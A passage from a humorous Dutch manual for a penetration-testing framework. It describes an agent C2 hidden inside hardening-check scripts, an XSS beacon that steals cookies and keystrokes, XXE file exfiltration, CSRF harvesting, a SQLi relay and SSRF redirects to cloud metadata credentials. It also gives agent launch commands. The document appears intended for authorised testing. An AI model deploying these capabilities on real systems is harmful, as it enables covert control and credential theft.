De commando-uitvoering verschilt per platform: Bash gebruikt eval, PowerShell gebruikt [scriptblock]::Create(). Beide vangen stdout én stderr. Beide sturen de output als platte tekst terug. Geen JSON-wrapping. Geen Base64-encoding. Geen overhead. Het commando gaat erin, de output komt eruit, en de server slaat alles op. Het is een pijplijn van vier regels code die doet waarvoor andere C2-frameworks zevenduizend regels nodig hebben. Niet omdat die zevenduizend regels overbodig zijn — ze hebben features die dit systeem niet heeft — maar omdat dit systeem precies genoeg doet voor de use case waarvoor het is gebouwd. En “precies genoeg” is in de softwarewereld een zeldzamere prestatie dan “veel te veel.”

# Linux/macOS — agent-modus activeren
./check-aanbevelingen-lolbin.sh -a http://10.0.0.1:5000

# Windows PowerShell — agent-modus activeren
.\Check-Aanbevelingen.ps1 -Agent http://10.0.0.1:5000

Op het Agents-dashboard (/dashboard/agents) verschijnt de agent in de tabel. Commando sturen, output bekijken, geschiedenis raadplegen, opruimen wanneer je klaar bent. Het is een volledig C2-systeem verpakt in een script dat zich voordoet als een hardening-check. En de hardening-check wérkt ook nog. Het is een twee-voor-de-prijs-van-één-deal, behalve dat de prijs een ethische verantwoordelijkheid is en de “twee” bestaan uit “je systeem controleren” en “je systeem besturen.” Het verschil tussen die twee is een vlag. Eén enkele vlag. -a. Twee tekens. Groot verschil.

16. Het XSS Lab

Hier wordt het spannend. Of verontrustend. Het hangt ervan af of je een contract hebt of niet, en dat onderscheid maakt in de beveiligingsindustrie het verschil tussen “consultant” en “verdachte.” Zorg dat je het juiste visitekaartje hebt.

De Beacon

De applicatie serveert een JavaScript-bestand op /x.js. Als een kwetsbare website dit laadt via een XSS-kwetsbaarheid, doet het script drie dingen: cookies sturen naar /xxs/cookies, localStorage dumpen naar /xxs/localstorage, en toetsaanslagen loggen naar /xxs/keylogger. De server dedupliceert op IP + User-Agent + MD5-hash en slaat alles op. Het is een digitale stoffzuiger voor andermans browserinhoud. Je kunt dit op twee manieren bekijken: als een schending van privacy of als een beveiligingstest. Het verschil is een handtekening op een contract.

Het Dashboard — Alleen het Nu

Het XSS-dashboard (/dashboard/xxs) toont uitsluitend de unieke hooked clients van de afgelopen 5 minuten. Geen historisch archief van ooit-gehookte browsers die allang zijn afgesloten. Alleen wat nu draait. De KPI toont “Active Clients (5m)” met het aantal unieke IP’s. De tabel: IP, user-agent, last seen. Het is real-time. Het is relevant. Het is opgeruimd. Drie bijvoeglijke naamwoorden die zelden op dezelfde software van toepassing zijn, en als ze dat wel zijn, weet je dat iemand zijn best heeft gedaan.

Heartbeat & C2

De beacon pollt periodiek /xxs/commands. Bij elke poll wordt het tijdstip bijgewerkt — een heartbeat. Commando’s worden aangemaakt via het dashboard of de API, opgehaald door de beacon, uitgevoerd in de browser van het doelwit, en het resultaat wordt teruggestuurd. Het is een volledig XSS C2-systeem. En het is precies het bewijs dat je opdrachtgever nodig heeft om te begrijpen dat XSS niet “alleen maar een pop-upje” is. Dat misverstand is zo wijdverbreid dat je er een boek over zou kunnen schrijven. Maar dat ga je niet doen, want je bent een pentester en geen auteur, hoewel het feit dat je deze handleiding leest suggereert dat je op zijn minst een lezer bent, en dat is al meer dan de gemiddelde CISO.

Data Downloaden

Cookies in Netscape-formaat (direct bruikbaar met curl -b). Keylogger-data als tekst. localStorage als dump. Credentials als gebruiker:wachtwoord-paren. Als je opdrachtgever deze bestanden ziet in het rapport, hoeft hij niet meer te vragen hoe erg XSS is. De cookies liggen op tafel. Letterlijk. Het is het meest overtuigende bewijs dat je kunt leveren zonder iemands wachtwoord hardop voor te lezen in een vergaderruimte. Hoewel — als de opdrachtgever bijzonder hardleers is — dat laatste ook een optie is. Ik raad het niet aan. Maar ik verbied het ook niet.

17. Het XXE Lab

XML External Entity injection bestaat omdat iemand ooit besloot dat XML-parsers bestanden moesten kunnen openen van willekeurige locaties. Een ontwerpbeslissing die, in retrospect, vergelijkbaar is met het installeren van een kattenluikje in de deur van een kluis. Het leek op dat moment vast logisch. De kat vond het geweldig. De inbreker ook.

/xxe/yolo.dtd GET

Genereert een kwaadaardige DTD die een bestand uitleest en doorstuurt. De parameter ?request=/etc/passwd bepaalt welk bestand. Het endpoint heet yolo. Dat is geen acroniem. Dat is precies wat het lijkt. De ontwikkelaar heeft niet eens de moeite genomen om te doen alsof het een professionele naam was. En weet je? Dat is eerlijker dan 90% van de enterprise-API’s die zichzelf namen geven als “DataSyncBridge Pro” maar onder de motorkap precies hetzelfde doen, alleen langzamer en met een licentie van 40.000 euro per jaar.

/xxe/froufrou GET

Het callback-endpoint. De parameter heet hatseflats. De data wordt opgeslagen in raw/loot/{ip}/xxe/{naam}.txt. Je leest die namen — froufrou, hatseflats — en je denkt: “dit kan niet serieus zijn.” De bestanden die je ermee exfiltreert zijn echter doodserieus. En dat contrast — de meest serieuze dingen omhuld in de meest absurde woorden — is misschien wel het meest Nederlandse aan deze hele applicatie.

/xxe/fout.dtd GET

Error-based XXE. Data via een XML-parse error. Geen uitgaande verbindingen nodig. Soms is de elegantste oplossing de lelijkste, en dit is het bewijs.

Je opdrachtgever profiteert: je rapport bevat niet “de XML-parser is kwetsbaar” maar “hier is de inhoud van /etc/passwd die via uw XML-endpoint is uitgelezen.” Het eerste is een opmerking. Het tweede is een bewijs. Het verschil in urgentie is als het verschil tussen “het raam zou open kunnen staan” en “er staat iemand in uw woonkamer.” Raad eens welke zin sneller tot actie leidt.

18. De Labs: CSRF, SQLi, SSRF

Drie labs. Drie aanvalstechnieken. Drie dashboards. Drie API’s. Het is een soort drievuldigheidsleer voor offensieve beveiliging — behalve dat niemand in deze drie gelooft uit vrije wil. Je gelooft erin omdat je opdrachtgever kwetsbaar is.

CSRF actief

Token-harvesting en form-replay. De /csrf.js beacon scant formulieren, extraheert hidden fields, hookt submit events. /csrf/inject.html genereert auto-submit forms. Dashboard: /dashboard/csrf. Je opdrachtgever leert of zijn CSRF-protectie echt werkt of alleen een illusie is. Het verschil tussen een slot en een sticker van een slot. De sticker is goedkoper. De sticker houdt ook niemand tegen.

SQLi actief

SQL injection relay. /sqli2/inject stuurt requests door naar het doel en logt alles. Out-of-band callback voor blind SQLi. Dashboard met cheatsheet per database-type. Je opdrachtgever krijgt geen academische uitleg over wat SQL injection is. Hij krijgt een concrete demonstratie van wat er uit zijn database te halen valt. Dat is het verschil tussen theorie en praktijk: theorie is als iemand je vertelt dat het water koud is. Praktijk is als iemand je erin gooit.

SSRF actief

HTTP 307-redirects naar AWS metadata, Azure, Google Cloud, Docker daemon, /etc/passwd, win.ini. Plus een dynamische redirect en blind SSRF-callback. Alle requests worden gelogd. Stel je voor: je opdrachtgever heeft een SSRF-kwetsbaarheid. Jouw rapport laat zien dat zijn server het AWS-metadata-endpoint heeft geraadpleegd — inclusief de IAM-credentials die erbij kwamen. Het moment waarop de kleur wegtrekt uit het gezicht van de CISO is het moment waarop je weet dat je rapport effect heeft. Het is niet prettig. Het is niet gezellig. Maar het is noodzakelijk. En de CISO zal je er uiteindelijk dankbaar voor zijn. Niet vandaag. Maar uiteindelijk.

De globale zoekfunctie (/api/search?q=zoekterm) doorzoekt findings, templates, notities, commands, recordings, loot en pagina’s. Minimaal 2 karakters. Case-insensitive. Maximaal 8 resultaten per categorie. Beschikbaar via de zoekbalk in de header.

Het werkt. Het is snel. Het doet wat het hoort te doen en verder niets. Dat klinkt als het absolute minimum. En dat is het ook. Maar in een wereld waar zoekfuncties regelmatig resultaten retourneren die geen enkel aantoonbaar verband hebben met de zoekterm — je denkt onwillekeurig aan de zoekfunctie van Outlook, die resultaten produceert met de trefzekerheid van een blinde darter na acht biertjes — is “het werkt gewoon” een revolutionaire prestatie. Gefeliciteerd, zoekfunctie. Je doet het. Je doet het gewoon. Ik ben trots op je.

20. Beveiliging (Ja, Echt)

Een applicatie vol exploits die zich druk maakt om haar eigen beveiliging is als een brandweerman die rookmelders installeert in zijn eigen huis: het lijkt overbodig, maar het is juist het bewijs dat hij het serieus neemt. Het bewijs dat de loodgieter géén lekkende kraan heeft. Deze applicatie heeft de beste kranen van de straat. Let maar op.

Toegangscontrole (3 lagen)

  1. Localhost bypass127.0.0.1 / ::1 zonder credentials: directe toegang. Je bent lokaal. Je bent vertrouwd. Voorlopig.
  2. Session loginIB_ADMIN_USER + IB_ADMIN_PASSWORD: login via /login. Timing-safe vergelijking. Open-redirect preventie. Het soort beveiliging dat je niet opvalt totdat iemand het probeert te omzeilen en faalt.
  3. Token authX-Dashboard-Token / X-Task-Token header. Voor als je te lui bent om in te loggen maar te professioneel bent om het onbeveiligd te laten. Een gezonde middenweg.

Content Security Policy

Nonce-based CSP op alle dashboardpagina’s. Geen inline scripts of styles zonder geldige nonce. De lab-routes zijn uitgesloten van CSP — want een CSP op een XSS-lab is als een “niet rennen”-bordje op een atletiekbaan. Het is technisch correct. Het is praktisch absurd.

Subproces-veiligheid

Geen shell=True. Nergens. Nooit. Onder geen enkele omstandigheid. Ook niet als je heel lief vraagt. Alle subprocessen gebruiken expliciete argumentlijsten. Regex-validatie. Pad-traversal verboden. Het is het soort discipline die je niet verwacht in een project met bestanden die crystalmeth.cs heten. En dat contrast is het meest veelzeggende aan het hele project: onder de belachelijke namen zit code die zich aan de regels houdt. Het is als een clown die een uitstekende belastingaangifte doet.

Task Runner Allowlist

Alleen commando’s in de _TASKS-dictionary worden uitgevoerd. De rest wordt geweigerd. Geen discussie. Geen “maar als je het echt wilt.” Nee. Punt. Het is het meest assertieve onderdeel van de hele applicatie, en je zult het nooit waarderen totdat het je redt van een typfout die anders je hele systeem had platgelegd. Dan waardeer je het heel erg. Even. En dan vergeet je het weer.

Omgevingsvariabelen

VariabeleStandaardDoel
SECRET_KEYrandomSession/CSRF signing
IB_ADMIN_USER / IB_ADMIN_PASSWORDniet ingesteldLogin-credentials (schakelt localhost-bypass uit)
DASHBOARD_ACCESS_TOKENniet ingesteldToken-gebaseerde API-toegang
TASK_RUNNER_TOKENniet ingesteldToken voor task runner API
PUBLIC_UPLOADfalseUploads van niet-localhost
PUBLIC_DOWNLOADSfalseDownloads van niet-localhost
SESSION_COOKIE_SECUREfalseSecure cookie flag
BEHIND_PROXYfalseProxyFix inschakelen

21. Opruimen

cleanup.sh vraagt bevestiging en verwijdert vervolgens alles: database, evidence, opnames, rapporten, inhoud van alle raw/-directories. De directories zelf blijven staan. .gitkeep-bestanden worden gespaard.

Het is digitale ontruiming. Alles weg. Schone lei. Als een hotelkamer die wordt klaargemaakt voor de volgende gast, behalve dat de vorige gast een penetratietest was en de kamer vol bewijs lag dat je liever niet bij de receptie inlevert. “Ja hallo, ik wil uitchecken, en hier is een USB-stick met de volledige Active Directory van mijn opdrachtgever, wilt u die bij de sleutel leggen?” Nee. Nee, dat wil je niet. Je draait cleanup.sh. En je vertelt niemand.

22. Eigenaardigheden & Easter Eggs

Elke applicatie heeft eigenaardigheden. De meeste applicaties verbergen ze. Deze draagt ze als eretekens op de revers van een jas die je niet aan zou trekken naar een sollicitatiegesprek maar die je elke dag draagt als je alleen bent.

Enfin, je zult ze wel ontdekken.

23. Architectuur voor de Nieuwsgierigen

Voor als je wilt begrijpen hoe het in elkaar zit. Of hoe het niet uit elkaar valt. Dat is dezelfde vraag, maar dan met een optimistischer glazuur eroverheen.

De App Factory

app.py bevat create_app(). Flask, SQLAlchemy, Flask-Migrate, blueprints. Auto-creatie van een standaard instellingen-rij als de database leeg is, zodat de rest van de applicatie niet crasht bij de eerste start. Het is het fundament. Het is degelijk. Het is — voor dit project — bijna verdacht normaal. Alsof iemand één bestand wilde schrijven dat de volwassene in de kamer is. En dat is gelukt.

De Blueprints

BestandBlueprintWat het doet
index.pyindex_bpDashboard — het zenuwcentrum
agent.pyagent_bpAgent C2 — de poppenspeler
login.pylogin_bpLogin/logout — de uitsmijter
findings.pyfindings_bpFindings + rapport — de raison d’être
tasks.pytasks_bpTask runner — het plichtsgetrouwe werkpaard
macro.pymacro_bpGenerators + commands + screen + recordings
notes.pynotes_bpNotities
rapport.pyrapport_bpRapportgeneratie — de broodwinner
upload.pyupload_bpFile uploads
download.pydownload_bpFile downloads
xxs.pyxxs_bpXSS lab — de koekjesdief
xxe.pyxxe_bpXXE lab — de bestandenlezer
csrf.pycsrf_bpCSRF token-harvesting
sqli2.pysqli2_bpSQLi relay
ssrf.pyssrf_bpSSRF redirects
output_view.pyoutput_bpOutput viewer
search.pysearch_bpZoekfunctie
security.pyToegangscontrole
admin.pyFlask-Admin

De Database

Eén SQLite-bestand. Auto-creatie met db.create_all(). Auto-migratie van ontbrekende kolommen. Standaard instellingen-rij als de database leeg is. Het is het model dat de PostgreSQL-purist doet huiveren, de MongoDB-evangelist doet glimlachen (om de verkeerde redenen), en de pragmaticus doet zeggen: “het werkt, en als het breekt, kopieer ik het bestand.” Dat laatste is — voor alle duidelijkheid — een valide backup-strategie voor SQLite. Het is zelfs de aanbevolen backup-strategie. De eenvoud is geen beperking. Het is een feature. Of dat is tenminste wat je jezelf vertelt om drie uur ’s nachts wanneer je de database per ongeluk hebt verwijderd en vijf seconden later een nieuwe hebt door de applicatie te herstarten. Vijf seconden. Dat is sneller dan je “oh nee” kunt zeggen. En je zegt “oh nee” snel.

De Mappenstructuur

De code zit in meuk/flask/. “Meuk” betekent “rommel” of “spullen” of “troep.” Het is alsof je broncode opslaat in een map genaamd misc_junk. Het is bescheidenheid tot het punt van zelfvernedering — het soort bescheidenheid dat ofwel authentiek is, ofwel de meest briljante vorm van sociale camouflage. Want niemand opent een map genaamd “meuk” en verwacht iets indrukwekkends. Waardoor alles dat je er wél in vindt des te indrukwekkender is. Het is de softwareversie van onderpresteren bij de eerste date en dan een perfect diner koken bij de tweede.

Templates in meuk/flask/html/. Static in static/. Database in meuk/flask/db/. Payloads in http/payloads/. Tools in http/tools/. Commands in http/commands/. Output in raw/. Rapporten in rapport/. Het is organisch gegroeid. Het is niet ontworpen. Het werkt. Het is een stad zonder stedenbouwkundige waar je toch de bakker kunt vinden. En de bakker verkoopt ook exploits, maar dat is een detail dat je voor jezelf houdt.


Slotwoord

Incompetent Bastard is het soort software dat niet zou moeten bestaan volgens de regels van professionele softwareontwikkeling. De mappenstructuur is eigenwijs. De variabelnamen zijn Nederlands. Het C#-project heet “meth.” De XXE-callback heet “froufrou.” De motivatiequotes komen van de Borg. Het versienummer is het Antwoord op de Ultieme Vraag.

Maar het valideert al je input. Het gebruikt geen shell=True. Het heeft een CVSS 4.0-calculator, een LaTeX-rapportgenerator, een XSS C2-systeem met heartbeat, een Agent-framework met asciicast-recordings, 194 doorzoekbare commando’s op Ctrl+K, acht payload-generators, quick-add modals met CVSS-calculator en LaTeX-toolbar, een webterminal met automatische opname, een drielaags toegangsmodel met nonce-based CSP, dynamische scope targets met rapportintegratie, vier hardening-check scripts met ingebouwde C2-agent voor Linux, macOS en Windows, een release-builder die je project schoonmaakt voor distributie, en een zoekfunctie die gewoon werkt.

Het helpt jou om sneller, grondiger en consistenter te werken. Het helpt je opdrachtgever om betere rapporten te krijgen met reproduceerbaar bewijs, gestandaardiseerde bevindingen en onweerlegbare tijdlijnen. Het is gebouwd door iemand die precies weet wat hij doet maar de bescheidenheid heeft om zijn broncode op te slaan in een map die “rommel” heet.

De naam is een grap. Het werk is dat niet.

Gebruik het alleen in geautoriseerde omgevingen. Pas de IP-adressen aan. En als de applicatie “Tot ziens en bedankt voor de vis” zegt — bedank die vissen. Zij wisten al dat het einde naderde. Jij weet nu dat het begin er is.